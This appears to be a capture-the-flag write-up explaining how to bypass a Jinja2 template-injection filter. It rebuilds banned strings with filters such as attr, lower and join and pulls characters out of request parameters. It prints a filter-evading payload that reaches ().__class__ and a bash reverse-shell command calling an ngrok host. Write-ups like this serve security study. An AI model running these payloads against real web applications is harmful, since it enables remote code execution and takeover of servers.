Strong
Jinja2 SSTI filter bypass
Last updated
Was this helpful?
Jinja2 SSTI filter bypass
Last updated
Was this helpful?
This type of challenges is created to be solved at the end, but you know it's a matter of time so who is the faster?
Link: http://128.199.3.34:1234
Author: Kahla
This was a Jinja2 template injection challenge, with the following filter:
As we can see, the filter is quite extensive!
This one is rather straightforward. We could still get code execution through an if-else statement:
We could bypass the use of .
by using the attr
filter. For instance, request|attr('args')
is the same as request.args
.
Sometimes, we need to access elements of a list or dictionary. This was a bit more tricky but looking into the Built-in Filters part of the documentation, we can find some useful information.
To get the first and last items of a list, we could use |first
and |last
respectively.
If we need to access items in a dictionary, we could first convert them to a list using |list
, then access the first and last elements.
In order for our RCE payload to work, I needed access to __class__
, __subclassess__
and __getitem__
.
We needed a way to construct something like ()|attr('__class__')
. The \
character was banned, so using octal or hexadecimal numbers to construct the string was not possible.
One easy way to get banned characters into a string was to use request.args
- this is a MultiDict object containing the GET request parameters.
For example, this allowed us to get the __
string:
Bypassing the class
, subclasses
, and getitem
strings could be done by using the |lower
filter. For instance: 'CLASS'|lower
.
All that's left to do is to join the class
string with the preceding and ending __
characters. This can be achieved using |join
.
Viola, the following will give us ().__class__
:
()|attr((request|attr('args')|list|first,'CLASS'|lower,request|attr('args')|list|first)|join)
This can then be extended to construct almost any arbitrary payload.
To get RCE, a typical method is through ().__class__.__subclasses__.__getitem__(x)
where x
corresponds to the index of the subprocess.Popen
class.
We do not know the value of x
in this case, but we can still blindly bruteforce the value of x
by submitting our RCE payload with different x
values until we receive a shell.
In order to complete our RCE payload, I needed the .
character for my callback domain, and the "
character for the bash command:
bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/14003 0>&1"
These characters can be obtained in a similar fashion as __
. Adding a second GET request parameter, we can access .
through request|attr('args')|list|last
.
As for "
, we could add another POST request parameter and access it through request|attr('form')|list|last)|join
.
It might not have been the most elegant, but it got the job done!